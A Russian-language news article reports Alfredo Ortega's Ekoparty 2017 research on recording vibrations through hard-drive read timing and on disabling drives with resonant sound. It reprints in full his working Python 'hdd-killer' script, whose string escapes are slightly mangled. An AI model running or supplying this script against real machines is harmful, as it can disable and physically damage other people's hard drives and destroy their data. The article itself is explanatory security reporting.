Почему нельзя кричать на свой HDD

в 9:20, , рубрики: hdd, HDD-killer, kscope, Железо, звук, информационная безопасность, крик, резонанс

Почему нельзя кричать на свой HDD - 1

На конференции по компьютерной безопасности Ekoparty 2017 в Буэнос-Айресе аргентинский хакер Альфредо Ортега (Alfredo Ortega) показал очень интересную разработку — систему скрытой прослушки помещений без использования микрофона. Звук записывается непосредственно жёстким диском!

HDD улавливает, в основном, низкочастотные звуки высокой интенсивности, шаги и другие вибрации. Человеческую речь распознать пока нельзя, хотя учёные ведут исследования в этом направлении (распознавание речи по низкочастотным вибрациям, которые снимаются, например, с гироскопа или HDD).

Звук — это колебания воздуха или другой среды. Человек воспринимает их через барабанную перепонку, которая передаёт колебания во внутреннее ухо. Микрофон устроен примерно как ухо — здесь тоже колебания регистрируются тонкой мембраной, которая возбуждает электрический импульс. Жёсткий диск, разумеется, тоже подвержен микроскопическим вибрациям из-за колебаний окружающего воздуха. Это известно даже по техническим характеристикам HDD: производители обычно указывают максимально допустимый уровень вибраций, а сам жёсткий диск часто стараются поместить в защищённый от вибраций контейнер из резины или другого изоляционного материала. Из этого легко сделать вывод, что с помощью HDD можно регистрировать звуки. Осталось только придумать, как.

Альфредо Ортега предложил своеобразный вариант атаки по сторонним каналам (side-channel attack), а именно атаки по времени. Эта атака основана на предположении, что различные операции выполняются в устройстве за различное время, в зависимости от поданных входных данных. В данном случае «входными данными» являются колебания считывающей головки и пластины HDD, которые коррелируют с вибрациями среды, то есть со звуком. Таким образом, измеряя время вычислений и проводя статистический анализ данных, можно измерить колебания головки/пластины и, следовательно, вибрации среды. Чем больше задержка в считывании данных — тем сильнее колебания HDD и, значит, тем громче звук.

Как измерить колебания жёсткого диска? Очень просто: достаточно всего лишь запустить системный вызов read () — и зарегистрировать время, за которое он выполняется. Современные операционные системы позволяют считывать тайминг системных вызовов с точностью до наносекунды.

Скорость чтения информации с сектора зависит от положения головки и пластины, которое коррелирует с вибрациями корпуса HDD. Вот и всё.

Статистический анализ осуществляется с помощью простенькой утилиты Kscope. Как говорится, всё гениальное просто.

Почему нельзя кричать на свой HDD - 2
Утилита Kscope (stat () syscall)

Kscope — маленькая утилита для визуализации крохотный различий во времени выполнения системных вызовов. Исходный кодопубликован на GitHub.

В отдельном репозитории hdd-time лежит версия утилиты, настроенная на атаку по времени на жёсткий диск, то есть настроенная на анализ системного вызова read ().

Демонстрация звукозаписи с помощью HDD, работа утилиты Kscope

Конечно же, речь нельзя разобрать таким способом, но в качестве датчика вибраций HDD вполне сгодится. Например, вы можете регистрировать, если в помещение с компьютером зашёл человек в твёрдой обуви или босиком (вероятно, если злоумышленник обут в мягкие кроссовки или на полу постелен толстый ковёр, то HDD не сможет зарегистрировать вибрации — это стоит проверить). Компьютер способен зарегистрировать разбитое стекло или другое происшествие с сильной интенсивностью звука. То есть жёсткий диск может выполнять роль своеобразной системы обнаружения несанкционированных проникновений.

HDD-киллер

Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Почему нельзя кричать на свой HDD - 3
Ядро Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из видеоролика с демонстрацией работы HDD-киллера

Любопытно, что такие «атаки» на HDD иногда происходят совершенно случайно в обычной жизни. Например, в сентябре 2016 года дата-центр ING Bank был вынужден приостановить работу на 10 часов после пожарных учений. Десятки жёстких дисков вышли из строя из-за громкого звука инертного газа, выпускаемого из баллонов под большим давлением. Звук был очень громким (более 130 дБ), а ведь даже кричать на жёсткие диски нельзя — это увеличивает задержку доступа к HDD.

Демонстрация человеческого крика на жёсткие диски в дата-центре. Измерение задержки

Для генерации резонирующего звука Альфредо Ортега написал питоновский скрипт под названием hdd-killer (демонстрация на видео).

Скрипт HDD-киллера совсем небольшой так что можно его целиком опубликовать здесь.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Автор: Анатолий Ализар

Источник

Поделиться

* - обязательные к заполнению поля